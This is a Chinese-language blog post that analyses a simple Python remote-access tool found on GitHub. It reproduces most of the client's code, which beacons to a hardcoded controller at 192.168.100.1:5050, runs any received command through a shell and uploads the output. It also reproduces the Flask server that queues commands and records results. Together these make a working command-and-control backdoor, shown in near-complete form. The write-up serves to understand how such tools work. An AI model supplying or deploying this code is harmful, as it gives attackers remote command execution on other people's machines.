分析一款仅能执行命令的python远控

  1. 分析一款仅能执行命令的python远控
  2. client端
  3. web端(控制端)
  4. 总结

分析一款仅能执行命令的python远控

github上找了一个python的简单远控来进行分析,从而了解其中的一些原理。

client端

首先我们分析被控端的代码

太长我就不全部贴上来了,但会每一段都进行分析。

首先是主函数

if __name__ == "__main__":
    print("[+] start client")
    client = Client()
    client.run()

新建了一个类Client,使用了run方法,跟踪一下看看。

class Client():
    def __init__(self):
        self.server_ip = "192.168.100.1"
        self.server_port = "5050"
        self.base_url = "http://"+self.server_ip+":"+self.server_port
        self.token = "bkq98"
        self.init_name()
        self.sleep_time = 3
        self.cmd_id = None
        self.result = ""

首先定义了类的一些基本的参数,比如服务端ip端口等。

随后便是run()

    def run(self):
        # 心跳
        while True:
            self.heartbeat()
            time.sleep(self.sleep_time)

会不断的调用heartbeat()并且沉睡一段时间

    def heartbeat(self):
        # 有上次的执行结果就上传 没有就心跳 
        # server返回有命令且不是上一次的命令则 执行命令存储结果等待下一次心跳上传执行结果
        url = self.base_url+"/heartbeat/"
        data = {
            "token": self.token,
            "name": self.name,
            "result": self.result,
            "cmd_id": self.cmd_id
        }
        
        
        if self.result !="":
            data["result"] = self.result
            self.result = ""
            
        response = self.send_data(url, data)
        if response==None:
            return
        # 有命令需要执行并返回
        if response.status_code==200:
            server_data = json.loads(response.content)
            cmd = server_data.get("cmd", "")
            cmd_id = server_data.get("cmd_id", "")
            if cmd_id == self.cmd_id:
                return
            if cmd:
                print("[+] cmd: "+cmd)
                self.result = str(self.exec(cmd))
                print("[*] result: "+self.result)
                self.cmd_id = cmd_id

首先是判断结果是否为空,如果为空则不作操作。

然后调用send_data()发送心跳包

    def send_data(self, url, data):
        try:
            response = requests.post(url,json=data, timeout=10)
            return response
        except Exception as e:
            print("[-] "+e)
            return None

将定义好的data发送出去,并返回一个response。

按照作者给的注释,如果返回状态值为200并且没有报错,则是需要返回执行的命令的结果。

随后接受,服务端传过来的两个参数,cmd和cmd_id,验证cmd_id是否是自己的id,如果是的话则直接结束。

然后调用self.exec()来执行命令,我们下面看看

    def exec(self, cmd):
        if cmd.startswith("sleep"):
            self.sleep_time = int(cmd.split(" ")[-1])
            return "time set ok"
        if cmd.startswith("msf"):
            #TODO
            return "msf set ok"
        return run_cmd(cmd)

可以看出这里是一个功能检测,方便我们后期拓展。输入关键词就可以执行响应的操作,如果是sleep。则将自己的心跳时间修改为cmd最后一个参数。如果是msf,就写入联动msf的代码就好了,这里作者还没做好。

如果是正常的执行命令则,调用run_cmd函数。这里我们跟如run_cmd函数。

def run_cmd(cmd):
    p = subprocess.Popen(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True, close_fds=True,
                         start_new_session=True)
    formats = 'gbk' if platform.system() == "Windows" else 'utf-8'
    try:
        result = p.stdout.read()
        p.wait()
        return result.decode(formats)
    except :
        return "命令执行错误"

这里改成了一个子线程,根据系统来进行返回值的编码,然后执行第一个cmd,由于设置了shell=True,那我们的命令是可以带空格执行的。

随后就是return命令执行结果,并且wait线程。

接着看上面heartbeat()最后一步

if cmd:
                print("[+] cmd: "+cmd)
                self.result = str(self.exec(cmd))
                print("[*] result: "+self.result)
                self.cmd_id = cmd_id

将self.result赋值成结果然后self.cmd_id赋值成cmd_id,这个cmd_id就是心跳检测的关键,在sleep了设定的数值之后,如果cmd_id,那么就不会返回新的结果,除非有新的cmd_id出现,否则不会执行任何命令。

随后执行完命令之后继续沉睡指定时间,然后继续while循环

最后就是有一个检测,如果用户输入ctrl+c,那么就会停止这个脚本

def ctrl_c(signum,frame):
    print()
    print("[-] input ctrl c")
    sys.exit()

signal.signal(signal.SIGINT, ctrl_c)

web端(控制端)

简单看了下,基于flask框架开发的。

image-20221113145948432

主代码:

from app import app

if __name__ == "__main__":
    app.run("192.168.100.1", 5050, debug=True)

定义你的服务器ip和访问的端口,不过这个没有密码,后续要使用的话,可以加入一些响应的鉴权措施。

router.py路由:

@app.route("/")
def index():
    client_list = Clients.query.order_by(Clients.update_time).all()
    return render_template(
        "index.html", clients = client_list)

做了个跳转,跳转到index.html页面

@app.route("/heartbeat/", methods=["POST"])
def heartbeat():
    data = request.get_json()
    print(data)
    token = data.get("token")
    if token !="bkq98":
        return jsonify({})
    # 先判断是否需要注册client
    name = data.get("name")
    ip = request.remote_addr
    client_result = data.get("result")
    client_cmd_id = data.get("cmd_id")
    db_client = Clients.query.filter(Clients.name==name, Clients.ip==ip).first()
    if db_client:
        db_client.update_time = datetime.datetime.now()
        db.session.commit()
    else:
        client = Clients()
        client.name = name
        client.ip = ip
        try:
            db.session.add(client)
            db.session.commit()
        except Exception as e:
            print(e)
    if client_result:
        # 上次结果
        print("[+] client: "+name+" ip: "+ip+" upload result: "+ client_result)
        db_echo_result = EchoResult.query.filter(EchoResult.id==client_cmd_id).first()
        db_echo_result.result = client_result
        db.session.commit()
    # 获取是否有需要执行的命令
    db_echo_result = EchoResult.query.filter(EchoResult.client_name==name,EchoResult.ip==ip,EchoResult.result==None).first()
    if db_echo_result:
        cmd_id = db_echo_result.id
        cmd = db_echo_result.cmd
        print("[+] server issued cmd:"+cmd+" name: " +name+" ip: "+ip)
        return jsonify({"cmd_id":cmd_id, "cmd":cmd})
    return jsonify({})

这个路由就是client端心跳包请求的地址

首先会将心跳包传的参数存储到data变量中,随后会校检一下其中的token是否是我们设置的token,

随后就是一系列的提取数据

    name = data.get("name")
    ip = request.remote_addr
    client_result = data.get("result")
    client_cmd_id = data.get("cmd_id")
    db_client = Clients.query.filter(Clients.name==name, Clients.ip==ip).first()
    if db_client:
        db_client.update_time = datetime.datetime.now()
        db.session.commit()
    else:
        client = Clients()
        client.name = name
        client.ip = ip
        try:
            db.session.add(client)
            db.session.commit()
        except Exception as e:
            print(e)

然后就是检测是否是数据库中已有的用户,如果是的话,就更新数据库的时间,如果不是,就添加一个用户。

    if client_result:
        # 上次结果
        print("[+] client: "+name+" ip: "+ip+" upload result: "+ client_result)
        db_echo_result = EchoResult.query.filter(EchoResult.id==client_cmd_id).first()
        db_echo_result.result = client_result
        db.session.commit()
    # 获取是否有需要执行的命令
    db_echo_result = EchoResult.query.filter(EchoResult.client_name==name,EchoResult.ip==ip,EchoResult.result==None).first()
    if db_echo_result:
        cmd_id = db_echo_result.id
        cmd = db_echo_result.cmd
        print("[+] server issued cmd:"+cmd+" name: " +name+" ip: "+ip)
        return jsonify({"cmd_id":cmd_id, "cmd":cmd})
    return jsonify({})

这里就是首先获取了上次的结果,检测result参数是否是none,如果是的话,就是需要执行的新命令,返回过去并且等待下一次获取。

其他的路由没有什么讲的,就是几个显示页面,显示一些信息。

__int__.py文件中定义了数据库文件

from flask import Flask
from flask_sqlalchemy import SQLAlchemy
import os

app = Flask(__name__)

base_dir = os.path.abspath(os.path.dirname(__file__))
app.config["SQLALCHEMY_DATABASE_URI"] = 'sqlite:///' + os.path.join(base_dir, "../", 'miansha3.db')
app.config["SQLALCHEMY_COMMIT_ON_TEARDOWN"] = True

db = SQLAlchemy(app)
from app import router

with app.app_context(): 
    db.init_app(app)
    db.create_all()

总结

其实也比较简单,这款远控,毕竟只有执行命令的功能

开发的大概思路就是被控端会定时发起心跳包到服务端,服务端接受心跳包中上一次执行命令的结果,并且返回新的命令。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。